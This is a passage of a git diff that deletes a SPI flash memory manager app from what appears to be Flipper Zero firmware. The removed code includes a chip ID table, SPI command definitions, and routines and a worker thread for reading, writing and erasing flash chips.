SPIMemChipWriteModePage}, - {0x20, 0x20, 0x11, "ST25P10A", 131072, 256, SPIMemChipVendorST, SPIMemChipWriteModePage}, - {0x20, 0x20, 0x15, "ST25P16", 2097152, 256, SPIMemChipVendorST, SPIMemChipWriteModePage}, - {0x20, 0x20, 0x12, "ST25P20", 262144, 256, SPIMemChipVendorST, SPIMemChipWriteModePage}, - {0x20, 0x20, 0x16, "ST25P32", 4194304, 256, SPIMemChipVendorST, SPIMemChipWriteModePage}, - {0x20, 0x20, 0x13, "ST25P40", 524288, 256, SPIMemChipVendorST, SPIMemChipWriteModePage}, - {0x20, 0x20, 0x17, "ST25P64", 8388608, 256, SPIMemChipVendorST, SPIMemChipWriteModePage}, - {0x20, 0x20, 0x14, "ST25P80", 1048576, 256, SPIMemChipVendorST, SPIMemChipWriteModePage}, - {0xEF, 0x10, 0x00, "W25P10", 131072, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x20, 0x15, "W25P16", 2097152, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x11, 0x00, "W25P20", 262144, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x20, 0x16, "W25P32", 4194304, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x12, 0x00, "W25P40", 524288, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x20, 0x17, "W25P64", 8388608, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x20, 0x14, "W25P80", 1048576, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, - 0x60, - 0x11, - "W25Q10EW_1.8V", - 131072, - 256, - SPIMemChipVendorWINBOND, - SPIMemChipWriteModePage}, - {0xEF, 0x40, 0x18, "W25Q128BV", 16777216, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x40, 0x18, "W25Q128FV", 16777216, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x70, 0x18, "W25Q128JV", 16777216, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x40, 0x19, "W25Q256FV", 33554432, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x40, 0x19, "W25Q256JV", 33554432, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x70, 0x19, "W25Q256JV", 33554432, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, - 0x60, - 0x18, - "W25Q128FW_1.8V", - 16777216, - 256, - SPIMemChipVendorWINBOND, - SPIMemChipWriteModePage}, - {0xEF, 0x40, 0x15, "W25Q16", 2097152, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x40, 0x15, "W25Q16BV", 2097152, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x40, 0x15, "W25Q16CL", 2097152, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x40, 0x15, "W25Q16CV", 2097152, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x40, 0x15, "W25Q16DV", 2097152, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, - 0x60, - 0x15, - "W25Q16FW_1.8V", - 2097152, - 256, - SPIMemChipVendorWINBOND, - SPIMemChipWriteModePage}, - {0xEF, 0x40, 0x15, "W25Q16V", 2097152, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x40, 0x12, "W25Q20CL", 262144, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, - 0x60, - 0x12, - "W25Q20EW_1.8V", - 262144, - 256, - SPIMemChipVendorWINBOND, - SPIMemChipWriteModePage}, - {0xEF, 0x40, 0x16, "W25Q32", 4194304, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x40, 0x16, "W25Q32BV", 4194304, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x40, 0x16, "W25Q32FV", 4194304, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, - 0x60, - 0x16, - "W25Q32FW_1.8V", - 4194304, - 256, - SPIMemChipVendorWINBOND, - SPIMemChipWriteModePage}, - {0xEF, 0x40, 0x16, "W25Q32V", 4194304, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x40, 0x13, "W25Q40BL", 524288, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x40, 0x13, "W25Q40BV", 524288, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x40, 0x13, "W25Q40CL", 524288, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, - 0x60, - 0x13, - "W25Q40EW_1.8V", - 524288, - 256, - SPIMemChipVendorWINBOND, - SPIMemChipWriteModePage}, - {0xEF, 0x40, 0x17, "W25Q64BV", 8388608, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x40, 0x17, "W25Q64CV", 8388608, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x40, 0x17, "W25Q64FV", 8388608, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x40, 0x17, "W25Q64JV", 8388608, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, - 0x60, - 0x17, - "W25Q64FW_1.8V", - 8388608, - 256, - SPIMemChipVendorWINBOND, - SPIMemChipWriteModePage}, - {0xEF, 0x40, 0x14, "W25Q80BL", 1048576, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x40, 0x14, "W25Q80BV", 1048576, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, - 0x50, - 0x14, - "W25Q80BW_1.8V", - 1048576, - 256, - SPIMemChipVendorWINBOND, - SPIMemChipWriteModePage}, - {0xEF, 0x40, 0x14, "W25Q80DV", 1048576, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, - 0x60, - 0x14, - "W25Q80EW_1.8V", - 1048576, - 256, - SPIMemChipVendorWINBOND, - SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x10, "W25X05", 65536, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x10, "W25X05CL", 65536, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x11, "W25X10AV", 131072, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x11, "W25X10BL", 131072, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x11, "W25X10BV", 131072, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x11, "W25X10CL", 131072, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x11, "W25X10L", 131072, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x11, "W25X10V", 131072, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x15, "W25X16", 2097152, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x15, "W25X16AL", 2097152, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x15, "W25X16AV", 2097152, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x15, "W25X16BV", 2097152, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x15, "W25X16V", 2097152, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x12, "W25X20AL", 262144, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x12, "W25X20AV", 262144, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x12, "W25X20BL", 262144, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x12, "W25X20BV", 262144, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x12, "W25X20CL", 262144, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x12, "W25X20L", 262144, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x12, "W25X20V", 262144, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x16, "W25X32", 4194304, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x16, "W25X32AV", 4194304, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x16, "W25X32BV", 4194304, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x16, "W25X32V", 4194304, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x13, "W25X40AL", 524288, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x13, "W25X40AV", 524288, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x13, "W25X40BL", 524288, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x13, "W25X40BV", 524288, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x13, "W25X40CL", 524288, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x13, "W25X40L", 524288, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x13, "W25X40V", 524288, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x17, "W25X64", 8388608, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x17, "W25X64BV", 8388608, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x17, "W25X64V", 8388608, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x14, "W25X80AL", 1048576, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x14, "W25X80AV", 1048576, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x14, "W25X80BV", 1048576, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x14, "W25X80L", 1048576, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x14, "W25X80V", 1048576, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x71, 0x19, "W25M512JV", 67108864, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x40, 0x19, "W25R256JV", 33554432, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0x37, 0x20, 0x10, "TS25L512A", 65536, 256, SPIMemChipVendorZEMPRO, SPIMemChipWriteModePage}, - {0x37, 0x30, 0x11, "TS25L010A", 131072, 256, SPIMemChipVendorZEMPRO, SPIMemChipWriteModePage}, - {0x37, 0x30, 0x12, "TS25L020A", 262144, 256, SPIMemChipVendorZEMPRO, SPIMemChipWriteModePage}, - {0x20, 0x20, 0x15, "TS25L16AP", 2097152, 256, SPIMemChipVendorZEMPRO, SPIMemChipWriteModePage}, - {0x20, 0x20, 0x15, "TS25L16BP", 2097152, 256, SPIMemChipVendorZEMPRO, SPIMemChipWriteModePage}, - {0x37, 0x20, 0x15, "TS25L16P", 2097152, 256, SPIMemChipVendorZEMPRO, SPIMemChipWriteModePage}, - {0x5E, 0x40, 0x15, "ZB25D16", 2097152, 256, SPIMemChipVendorZbit, SPIMemChipWriteModePage}, - {0xE0, 0x40, 0x13, "BG25Q40A", 524288, 256, SPIMemChipVendorBerg_Micro, SPIMemChipWriteModePage}, - {0xE0, - 0x40, - 0x14, - "BG25Q80A", - 1048576, - 256, - SPIMemChipVendorBerg_Micro, - SPIMemChipWriteModePage}, - {0xE0, - 0x40, - 0x15, - "BG25Q16A", - 2097152, - 256, - SPIMemChipVendorBerg_Micro, - SPIMemChipWriteModePage}, - {0xE0, - 0x40, - 0x16, - "BG25Q32A", - 4194304, - 256, - SPIMemChipVendorBerg_Micro, - SPIMemChipWriteModePage}, - {0x1F, 0x23, 0x00, "AT45DB021D", 270336, 264, SPIMemChipVendorATMEL, SPIMemChipWriteModePage}, - {0x1F, 0x24, 0x00, "AT45DB041D", 540672, 264, SPIMemChipVendorATMEL, SPIMemChipWriteModePage}, - {0x1F, 0x26, 0x00, "AT45DB161D", 2162688, 528, SPIMemChipVendorATMEL, SPIMemChipWriteModePage}, - {0x1F, 0x27, 0x01, "AT45DB321D", 4325376, 528, SPIMemChipVendorATMEL, SPIMemChipWriteModePage}, - {0x1F, 0x43, 0x00, "AT25DF021", 262144, 256, SPIMemChipVendorATMEL, SPIMemChipWriteModePage}, - {0x1F, 0x44, 0x00, "AT25DF041", 524288, 256, SPIMemChipVendorATMEL, SPIMemChipWriteModePage}, - {0x1F, 0x44, 0x00, "AT25DF041A", 524288, 256, SPIMemChipVendorATMEL, SPIMemChipWriteModePage}, - {0x1F, 0x84, 0x00, "AT25SF041", 524288, 256, SPIMemChipVendorATMEL, SPIMemChipWriteModePage}, - {0x1F, 0x45, 0x00, "AT25DF081", 1048576, 256, SPIMemChipVendorATMEL, SPIMemChipWriteModePage}, - {0x1F, 0x45, 0x00, "AT25DF081A", 1048576, 256, SPIMemChipVendorATMEL, SPIMemChipWriteModePage}, - {0x1F, 0x46, 0x00, "AT25DF161", 2097152, 256, SPIMemChipVendorATMEL, SPIMemChipWriteModePage}, - {0x1F, 0x47, 0x00, "AT25DF321", 4194304, 256, SPIMemChipVendorATMEL, SPIMemChipWriteModePage}, - {0x1F, 0x47, 0x00, "AT25DF321A", 4194304, 256, SPIMemChipVendorATMEL, SPIMemChipWriteModePage}, - {0x1F, 0x48, 0x00, "AT25DF641", 8388608, 256, SPIMemChipVendorATMEL, SPIMemChipWriteModePage}, - {0x1F, 0x65, 0x00, "AT25F512B", 65536, 256, SPIMemChipVendorATMEL, SPIMemChipWriteModePage}, - {0x1F, 0x45, 0x00, "AT26DF081", 1048576, 256, SPIMemChipVendorATMEL, SPIMemChipWriteModePage}, - {0x1F, 0x45, 0x00, "AT26DF081A", 1048576, 256, SPIMemChipVendorATMEL, SPIMemChipWriteModePage}, - {0x1F, 0x46, 0x00, "AT26DF161", 2097152, 256, SPIMemChipVendorATMEL, SPIMemChipWriteModePage}, - {0x1F, 0x46, 0x00, "AT26DF161A", 2097152, 256, SPIMemChipVendorATMEL, SPIMemChipWriteModePage}, - {0x1F, 0x47, 0x00, "AT26DF321", 4194304, 256, SPIMemChipVendorATMEL, SPIMemChipWriteModePage}, - {0x1F, 0x47, 0x00, "AT26DF321A", 4194304, 256, SPIMemChipVendorATMEL, SPIMemChipWriteModePage}, - {0x1F, 0x04, 0x00, "AT26F004", 524288, 256, SPIMemChipVendorATMEL, SPIMemChipWriteModePage}, - {0xE0, - 0x60, - 0x18, - "ACE25A128G_1.8V", - 16777216, - 256, - SPIMemChipVendorACE, - SPIMemChipWriteModePage}, - {0x9B, 0x32, 0x16, "ATO25Q32", 4194304, 256, SPIMemChipVendorATO, SPIMemChipWriteModePage}, - {0x54, 0x40, 0x17, "DQ25Q64A", 8388608, 256, SPIMemChipVendorDOUQI, SPIMemChipWriteModePage}, - {0x0E, 0x40, 0x15, "FT25H16", 2097152, 256, SPIMemChipVendorFremont, SPIMemChipWriteModePage}, - {0xA1, 0x40, 0x13, "FM25Q04A", 524288, 256, SPIMemChipVendorFudan, SPIMemChipWriteModePage}, - {0xA1, 0x40, 0x16, "FM25Q32", 4194304, 256, SPIMemChipVendorFudan, SPIMemChipWriteModePage}, - {0xE0, 0x40, 0x14, "GT25Q80A", 1048576, 256, SPIMemChipVendorGenitop, SPIMemChipWriteModePage}, - {0xE0, 0x40, 0x13, "PN25F04A", 524288, 256, SPIMemChipVendorParagon, SPIMemChipWriteModePage}}; diff --git a/applications/external/spi_mem_manager/lib/spi/spi_mem_chip_i.h b/applications/external/spi_mem_manager/lib/spi/spi_mem_chip_i.h deleted file mode 100644 index 30d607094..000000000 --- a/applications/external/spi_mem_manager/lib/spi/spi_mem_chip_i.h +++ /dev/null @@ -1,85 +0,0 @@ -#pragma once - -#include -#include "spi_mem_chip.h" - -typedef enum { - SPIMemChipVendorUnknown, - SPIMemChipVendorADESTO, - SPIMemChipVendorAMIC, - SPIMemChipVendorBoya, - SPIMemChipVendorEON, - SPIMemChipVendorPFLASH, - SPIMemChipVendorTERRA, - SPIMemChipVendorGeneralplus, - SPIMemChipVendorDEUTRON, - SPIMemChipVendorEFST, - SPIMemChipVendorEXCELSEMI, - SPIMemChipVendorFIDELIX, - SPIMemChipVendorGIGADEVICE, - SPIMemChipVendorICE, - SPIMemChipVendorINTEL, - SPIMemChipVendorKHIC, - SPIMemChipVendorMACRONIX, - SPIMemChipVendorMICRON, - SPIMemChipVendorMSHINE, - SPIMemChipVendorNANTRONICS, - SPIMemChipVendorNEXFLASH, - SPIMemChipVendorNUMONYX, - SPIMemChipVendorPCT, - SPIMemChipVendorSPANSION, - SPIMemChipVendorSST, - SPIMemChipVendorST, - SPIMemChipVendorWINBOND, - SPIMemChipVendorZEMPRO, - SPIMemChipVendorZbit, - SPIMemChipVendorBerg_Micro, - SPIMemChipVendorATMEL, - SPIMemChipVendorACE, - SPIMemChipVendorATO, - SPIMemChipVendorDOUQI, - SPIMemChipVendorFremont, - SPIMemChipVendorFudan, - SPIMemChipVendorGenitop, - SPIMemChipVendorParagon -} SPIMemChipVendor; - -typedef enum { - SPIMemChipCMDReadJEDECChipID = 0x9F, - SPIMemChipCMDReadData = 0x03, - SPIMemChipCMDChipErase = 0xC7, - SPIMemChipCMDWriteEnable = 0x06, - SPIMemChipCMDWriteDisable = 0x04, - SPIMemChipCMDReadStatus = 0x05, - SPIMemChipCMDWriteData = 0x02, - SPIMemChipCMDReleasePowerDown = 0xAB -} SPIMemChipCMD; - -enum SPIMemChipStatusBit { - SPIMemChipStatusBitBusy = (0x01 << 0), - SPIMemChipStatusBitWriteEnabled = (0x01 << 1), - SPIMemChipStatusBitBitProtection1 = (0x01 << 2), - SPIMemChipStatusBitBitProtection2 = (0x01 << 3), - SPIMemChipStatusBitBitProtection3 = (0x01 << 4), - SPIMemChipStatusBitTopBottomProtection = (0x01 << 5), - SPIMemChipStatusBitSectorProtect = (0x01 << 6), - SPIMemChipStatusBitRegisterProtect = (0x01 << 7) -}; - -typedef struct { - const char* vendor_name; - SPIMemChipVendor vendor_enum; -} SPIMemChipVendorName; - -struct SPIMemChip { - uint8_t vendor_id; - uint8_t type_id; - uint8_t capacity_id; - const char* model_name; - size_t size; - size_t page_size; - SPIMemChipVendor vendor_enum; - SPIMemChipWriteMode write_mode; -}; - -extern const SPIMemChip SPIMemChips[]; diff --git a/applications/external/spi_mem_manager/lib/spi/spi_mem_tools.c b/applications/external/spi_mem_manager/lib/spi/spi_mem_tools.c deleted file mode 100644 index 3518ca25c..000000000 --- a/applications/external/spi_mem_manager/lib/spi/spi_mem_tools.c +++ /dev/null @@ -1,152 +0,0 @@ -#include -#include -#include "spi_mem_chip_i.h" -#include "spi_mem_tools.h" - -static uint8_t spi_mem_tools_addr_to_byte_arr(uint32_t addr, uint8_t* cmd) { - uint8_t len = 3; // TODO(add support of 4 bytes address mode) - for(uint8_t i = 0; i < len; i++) { - cmd[i] = (addr >> ((len - (i + 1)) * 8)) & 0xFF; - } - return len; -} - -static bool spi_mem_tools_trx( - SPIMemChipCMD cmd, - uint8_t* tx_buf, - size_t tx_size, - uint8_t* rx_buf, - size_t rx_size) { - bool success = false; - furi_hal_spi_acquire(&furi_hal_spi_bus_handle_external); - do { - if(!furi_hal_spi_bus_tx( - &furi_hal_spi_bus_handle_external, (uint8_t*)&cmd, 1, SPI_MEM_SPI_TIMEOUT)) - break; - if(tx_buf) { - if(!furi_hal_spi_bus_tx( - &furi_hal_spi_bus_handle_external, tx_buf, tx_size, SPI_MEM_SPI_TIMEOUT)) - break; - } - if(rx_buf) { - if(!furi_hal_spi_bus_rx( - &furi_hal_spi_bus_handle_external, rx_buf, rx_size, SPI_MEM_SPI_TIMEOUT)) - break; - } - success = true; - } while(0); - furi_hal_spi_release(&furi_hal_spi_bus_handle_external); - return success; -} - -static bool spi_mem_tools_write_buffer(uint8_t* data, size_t size, size_t offset) { - furi_hal_spi_acquire(&furi_hal_spi_bus_handle_external); - uint8_t cmd = (uint8_t)SPIMemChipCMDWriteData; - uint8_t address[4]; - uint8_t address_size = spi_mem_tools_addr_to_byte_arr(offset, address); - bool success = false; - do { - if(!furi_hal_spi_bus_tx(&furi_hal_spi_bus_handle_external, &cmd, 1, SPI_MEM_SPI_TIMEOUT)) - break; - if(!furi_hal_spi_bus_tx( - &furi_hal_spi_bus_handle_external, address, address_size, SPI_MEM_SPI_TIMEOUT)) - break; - if(!furi_hal_spi_bus_tx(&furi_hal_spi_bus_handle_external, data, size, SPI_MEM_SPI_TIMEOUT)) - break; - success = true; - } while(0); - furi_hal_spi_release(&furi_hal_spi_bus_handle_external); - return success; -} - -bool spi_mem_tools_read_chip_info(SPIMemChip* chip) { - uint8_t rx_buf[3] = {0, 0, 0}; - do { - if(!spi_mem_tools_trx(SPIMemChipCMDReadJEDECChipID, NULL, 0, rx_buf, 3)) break; - if(rx_buf[0] == 0 || rx_buf[0] == 255) break; - chip->vendor_id = rx_buf[0]; - chip->type_id = rx_buf[1]; - chip->capacity_id = rx_buf[2]; - return true; - } while(0); - return false; -} - -bool spi_mem_tools_check_chip_info(SPIMemChip* chip) { - SPIMemChip new_chip_info; - spi_mem_tools_read_chip_info(&new_chip_info); - do { - if(chip->vendor_id != new_chip_info.vendor_id) break; - if(chip->type_id != new_chip_info.type_id) break; - if(chip->capacity_id != new_chip_info.capacity_id) break; - return true; - } while(0); - return false; -} - -bool spi_mem_tools_read_block(SPIMemChip* chip, size_t offset, uint8_t* data, size_t block_size) { - if(!spi_mem_tools_check_chip_info(chip)) return false; - for(size_t i = 0; i < block_size; i += SPI_MEM_MAX_BLOCK_SIZE) { - uint8_t cmd[4]; - if((offset + SPI_MEM_MAX_BLOCK_SIZE) > chip->size) return false; - if(!spi_mem_tools_trx( - SPIMemChipCMDReadData, - cmd, - spi_mem_tools_addr_to_byte_arr(offset, cmd), - data, - SPI_MEM_MAX_BLOCK_SIZE)) - return false; - offset += SPI_MEM_MAX_BLOCK_SIZE; - data += SPI_MEM_MAX_BLOCK_SIZE; - } - return true; -} - -size_t spi_mem_tools_get_file_max_block_size(SPIMemChip* chip) { - UNUSED(chip); - return (SPI_MEM_FILE_BUFFER_SIZE); -} - -SPIMemChipStatus spi_mem_tools_get_chip_status(SPIMemChip* chip) { - UNUSED(chip); - uint8_t status; - if(!spi_mem_tools_trx(SPIMemChipCMDReadStatus, NULL, 0, &status, 1)) - return SPIMemChipStatusError; - if(status & SPIMemChipStatusBitBusy) return SPIMemChipStatusBusy; - return SPIMemChipStatusIdle; -} - -static bool spi_mem_tools_set_write_enabled(SPIMemChip* chip, bool enable) { - UNUSED(chip); - uint8_t status; - SPIMemChipCMD cmd = SPIMemChipCMDWriteDisable; - if(enable) cmd = SPIMemChipCMDWriteEnable; - do { - if(!spi_mem_tools_trx(cmd, NULL, 0, NULL, 0)) break; - if(!spi_mem_tools_trx(SPIMemChipCMDReadStatus, NULL, 0, &status, 1)) break; - if(!(status & SPIMemChipStatusBitWriteEnabled) && enable) break; - if((status & SPIMemChipStatusBitWriteEnabled) && !enable) break; - return true; - } while(0); - return false; -} - -bool spi_mem_tools_erase_chip(SPIMemChip* chip) { - do { - if(!spi_mem_tools_set_write_enabled(chip, true)) break; - if(!spi_mem_tools_trx(SPIMemChipCMDChipErase, NULL, 0, NULL, 0)) break; - return true; - } while(0); - return true; -} - -bool spi_mem_tools_write_bytes(SPIMemChip* chip, size_t offset, uint8_t* data, size_t block_size) { - do { - if(!spi_mem_tools_check_chip_info(chip)) break; - if(!spi_mem_tools_set_write_enabled(chip, true)) break; - if((offset + block_size) > chip->size) break; - if(!spi_mem_tools_write_buffer(data, block_size, offset)) break; - return true; - } while(0); - return false; -} diff --git a/applications/external/spi_mem_manager/lib/spi/spi_mem_tools.h b/applications/external/spi_mem_manager/lib/spi/spi_mem_tools.h deleted file mode 100644 index ad006b8ff..000000000 --- a/applications/external/spi_mem_manager/lib/spi/spi_mem_tools.h +++ /dev/null @@ -1,14 +0,0 @@ -#pragma once - -#include "spi_mem_chip.h" - -#define SPI_MEM_SPI_TIMEOUT 1000 -#define SPI_MEM_MAX_BLOCK_SIZE 256 -#define SPI_MEM_FILE_BUFFER_SIZE 4096 - -bool spi_mem_tools_read_chip_info(SPIMemChip* chip); -bool spi_mem_tools_read_block(SPIMemChip* chip, size_t offset, uint8_t* data, size_t block_size); -size_t spi_mem_tools_get_file_max_block_size(SPIMemChip* chip); -SPIMemChipStatus spi_mem_tools_get_chip_status(SPIMemChip* chip); -bool spi_mem_tools_erase_chip(SPIMemChip* chip); -bool spi_mem_tools_write_bytes(SPIMemChip* chip, size_t offset, uint8_t* data, size_t block_size); diff --git a/applications/external/spi_mem_manager/lib/spi/spi_mem_worker.c b/applications/external/spi_mem_manager/lib/spi/spi_mem_worker.c deleted file mode 100644 index 438f338f1..000000000 --- a/applications/external/spi_mem_manager/lib/spi/spi_mem_worker.c +++ /dev/null @@ -1,129 +0,0 @@ -#include "spi_mem_worker_i.h" - -typedef enum { - SPIMemEventStopThread = (1 << 0), - SPIMemEventChipDetect = (1 << 1), - SPIMemEventRead = (1 << 2), - SPIMemEventVerify = (1 << 3), - SPIMemEventErase = (1 << 4), - SPIMemEventWrite = (1 << 5), - SPIMemEventAll = - (SPIMemEventStopThread | SPIMemEventChipDetect | SPIMemEventRead | SPIMemEventVerify | - SPIMemEventErase | SPIMemEventWrite) -} SPIMemEventEventType; - -static int32_t spi_mem_worker_thread(void* thread_context); - -SPIMemWorker* spi_mem_worker_alloc() { - SPIMemWorker* worker = malloc(sizeof(SPIMemWorker)); - worker->callback = NULL; - worker->thread = furi_thread_alloc(); - worker->mode_index = SPIMemWorkerModeIdle; - furi_thread_set_name(worker->thread, "SPIMemWorker"); - furi_thread_set_callback(worker->thread, spi_mem_worker_thread); - furi_thread_set_context(worker->thread, worker); - furi_thread_set_stack_size(worker->thread, 10240); - return worker; -} - -void spi_mem_worker_free(SPIMemWorker* worker) { - furi_thread_free(worker->thread); - free(worker); -} - -bool spi_mem_worker_check_for_stop(SPIMemWorker* worker) { - UNUSED(worker); - uint32_t flags = furi_thread_flags_get(); - return (flags & SPIMemEventStopThread); -} - -static int32_t spi_mem_worker_thread(void* thread_context) { - SPIMemWorker* worker = thread_context; - while(true) { - uint32_t flags = furi_thread_flags_wait(SPIMemEventAll, FuriFlagWaitAny, FuriWaitForever); - if(flags != (unsigned)FuriFlagErrorTimeout) { - if(flags & SPIMemEventStopThread) break; - if(flags & SPIMemEventChipDetect) worker->mode_index = SPIMemWorkerModeChipDetect; - if(flags & SPIMemEventRead) worker->mode_index = SPIMemWorkerModeRead; - if(flags & SPIMemEventVerify) worker->mode_index = SPIMemWorkerModeVerify; - if(flags & SPIMemEventErase) worker->mode_index = SPIMemWorkerModeErase; - if(flags & SPIMemEventWrite) worker->mode_index = SPIMemWorkerModeWrite; - if(spi_mem_worker_modes[worker->mode_index].process) { - spi_mem_worker_modes[worker->mode_index].process(worker); - } - worker->mode_index = SPIMemWorkerModeIdle; - } - } - return 0; -} - -void spi_mem_worker_start_thread(SPIMemWorker* worker) { - furi_thread_start(worker->thread); -} - -void spi_mem_worker_stop_thread(SPIMemWorker* worker) { - furi_thread_flags_set(furi_thread_get_id(worker->thread), SPIMemEventStopThread); - furi_thread_join(worker->thread); -} - -void spi_mem_worker_chip_detect_start( - SPIMemChip* chip_info, - found_chips_t* found_chips, - SPIMemWorker* worker, - SPIMemWorkerCallback callback, - void* context) { - furi_check(worker->mode_index == SPIMemWorkerModeIdle); - worker->callback = callback; - worker->cb_ctx = context; - worker->chip_info = chip_info; - worker->found_chips = found_chips; - furi_thread_flags_set(furi_thread_get_id(worker->thread), SPIMemEventChipDetect); -} - -void spi_mem_worker_read_start( - SPIMemChip* chip_info, - SPIMemWorker* worker, - SPIMemWorkerCallback callback, - void* context) { - furi_check(worker->mode_index == SPIMemWorkerModeIdle); - worker->callback = callback; - worker->cb_ctx = context; - worker->chip_info = chip_info; - furi_thread_flags_set(furi_thread_get_id(worker->thread), SPIMemEventRead); -} - -void spi_mem_worker_verify_start( - SPIMemChip* chip_info, - SPIMemWorker* worker, - SPIMemWorkerCallback callback, - void* context) { - furi_check(worker->mode_index == SPIMemWorkerModeIdle); - worker->callback = callback; - worker->cb_ctx = context; - worker->chip_info = chip_info; - 